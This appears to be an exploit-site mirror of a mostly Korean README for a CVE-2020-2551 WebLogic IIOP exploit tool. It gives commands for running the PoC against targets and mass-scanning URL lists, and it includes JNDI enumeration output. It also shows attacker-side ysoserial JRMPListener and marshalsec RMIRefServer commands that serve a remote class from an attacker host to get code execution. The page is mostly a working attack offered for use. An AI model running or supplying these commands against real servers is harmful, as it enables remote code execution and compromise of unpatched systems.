Exploit for CVE-2020-2551

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HKTALENT-CVE-2020-2551
Twitter: @Hktalent3135773 ![Tweet](https://img.shields.io/twitter/url/http/Hktalent3135773.svg?style=social) ![Follow on Twitter](https://img.shields.io/twitter/follow/Hktalent3135773.svg?style=social&label=Follow)

# 0、프로 익스플로잇 도구 얻는 방법?

https://github.com/hktalent/CVE-2020-2551/issues/5 참고

# 1、CVE-2020-2551

CVE-2020-2551 poc 익스플로잇 python 예제 키워드: GIOP corba ![image](https://assets.kitploit.com/production/public/readmes/26526/8aa341bf0d8e4b0dcf9575196075eb5aae7e09418c3837ab8a6ff80cbe26c0aa.png)

### 사용 방법

root@kitploit:~
    
    
    python3 CVE-2020-2551.py -u http://192.168.26.79:7001
    cat urls.txt|sort -u|xargs -I % python3 CVE-2020-2551.py -u %
    cat xxx.html|grep -Eo 'http[s]?:\/\/[^ \/]+'|sort -u|xargs -I % python3 CVE-2020-2551.py -u %
    # 32개 스레드 검사
    cat allXXurl.txt|grep -Eo 'http[s]?:\/\/[^ \/]+'|sort -u|python3 CVE-2020-2551.py -e
    # 결과를 data/*.txt에 저장
    java -cp hktalent_51pwn_com_12.1.3.0_check.jar testiiop.ExpCVE20202551_names ip:port ip:port
    java -cp hktalent_51pwn_com_12.2.1.3.0_check.jar testiiop.ExpCVE20202551_names ip:port ip:port
    

### t3, t3s, http, https, iiop, iiops

root@kitploit:~
    
    
    service:jmx:rmi://ip:port/jndi/iiop://ip:port/MBean-server-JNDI-name
    service:jmx:iiop://ip:port/jndi/weblogic.management.mbeanservers.domainruntime
    service:jmx:t3://ip:port/jndi/weblogic.management.mbeanservers.domainruntime
    

## poc

![image](https://assets.kitploit.com/production/public/readmes/26526/db82ea41c43db08622c60d755b2b085f6b43c8ccb6dce34c960ae35658c401a4.png)

# 2、당신이 무엇을 하는지 알고 있습니다

root@kitploit:~
    
    
    {
        "ejb": {
            "class": "com.sun.jndi.cosnaming.CNCtx",
            "interfaces": [
                "javax.naming.Context"
            ],
            "mgmt": {
                "MEJB": {
                    "class": "com.sun.corba.se.impl.corba.CORBAObjectImpl",
                    "interfaces": []
                },
                "class": "com.sun.jndi.cosnaming.CNCtx",
                "interfaces": [
                    "javax.naming.Context"
                ]
            }
        },
        "javax": {
            "class": "com.sun.jndi.cosnaming.CNCtx",
            "error msg": "org.omg.CORBA.NO_PERMISSION:   vmcid: 0x0  minor code: 0  completed: No",
            "interfaces": [
                "javax.naming.Context"
            ]
        },
        "jdbc": {
            "class": "com.sun.jndi.cosnaming.CNCtx",
            "db_xf": {
                "class": "com.sun.corba.se.impl.corba.CORBAObjectImpl",
                "interfaces": []
            },
            "interfaces": [
                "javax.naming.Context"
            ]
        },
        "mejbmejb_jarMejb_EO": {
            "class": "com.sun.corba.se.impl.corba.CORBAObjectImpl",
            "interfaces": []
        },
        "weblogic": {
            "class": "com.sun.jndi.cosnaming.CNCtx",
            "error msg": "org.omg.CORBA.NO_PERMISSION:   vmcid: 0x0  minor code: 0  completed: No",
            "interfaces": [
                "javax.naming.Context"
            ]
        }
    }
    

# 3、ejb

root@kitploit:~
    
    
    /bea_wls_internal/classes/mejb@/
    
    weblogic.management.j2ee.mejb.Mejb_dj*#remove(Object obj)
    

# 4、jta

root@kitploit:~
    
    
    x.lookup("ejb/mgmt/MEJB").remove(jta);
    

# 5、로그

  * 원격 jdk8에서 작동하지 않아 Jdk7u21 페이로드를 사용하는 rmi 수정 사용하지 마십시오



root@kitploit:~
    
    
    java -cp $mtx/../tools/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 'whoami'
    

다음을 사용하세요, XXclass.class는 jdk6에서 빌드됨

root@kitploit:~
    
    
    java -cp $mtx/../tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 'http://YourIP:port/#XXclass' 1099
    

# 6、감사합니다

@r4v3zn @0nise ![Top Langs](https://profile-counter.glitch.me/hktalent/count.svg)